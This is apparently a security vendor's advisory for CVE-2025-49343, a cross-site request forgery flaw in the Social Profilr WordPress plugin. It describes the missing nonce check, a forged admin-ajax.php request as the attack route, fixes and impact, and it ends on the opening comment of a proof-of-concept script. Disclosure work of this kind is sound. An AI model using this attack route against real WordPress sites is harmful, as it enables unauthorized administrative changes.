Atomic Edge analysis of CVE-2025-49343 (metadata-based):
The Social Profilr WordPress plugin version 1.0 contains a Cross-Site Request Forgery vulnerability. This flaw exists in an administrative function that lacks proper nonce validation. The vulnerability allows unauthenticated attackers to trick administrators into performing unintended actions via crafted requests.
Atomic Edge research indicates the root cause is missing or incorrect nonce validation on a specific plugin function. The CWE-352 classification confirms this as a classic CSRF vulnerability where state-changing requests execute without verifying the request’s origin. Since no source code is available, this conclusion is inferred from the CVE description and CWE classification. The vulnerability likely affects an AJAX handler or admin form submission endpoint that processes plugin settings or actions.
Exploitation requires an attacker to craft a malicious link or form that targets the vulnerable endpoint. A typical attack vector would involve a GET or POST request to /wp-admin/admin-ajax.php with an action parameter containing the plugin’s AJAX hook. The attacker would host this payload on a third-party site and lure an administrator to visit it. The administrator’s browser would then automatically send the forged request with their authenticated session, executing the unauthorized action.
Remediation requires implementing proper nonce verification using WordPress’s wp_verify_nonce() function. The plugin should check for a valid nonce parameter before processing any state-changing request. Additionally, capability checks should verify the current user has appropriate permissions. The fix should apply to all administrative functions that modify plugin settings or perform actions.
Successful exploitation enables attackers to perform unauthorized administrative actions within the plugin’s scope. While the CVSS vector indicates low confidentiality and availability impact with medium integrity impact, the exact consequences depend on the vulnerable function’s capabilities. Potential impacts include modifying social profile settings, changing display configurations, or altering linked accounts. The attack requires user interaction with an administrator role, limiting its severity but maintaining risk for targeted attacks.

/**
* Proof of Concept for CVE-2025-49343
* This script demonstrates CSRF exploitation against Social Profilr plugin v1.0
* Since exact vulnerable endpoint is unknown, this PoC targets the most likely
* WordPress AJAX handler pattern based on plugin slug and vulnerability type.
* Assumptions:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. AJAX action parameter follows plugin naming convention
* 3. No nonce validation exists on the target function
* 4. Administrator authentication is required (handled via victim's session)
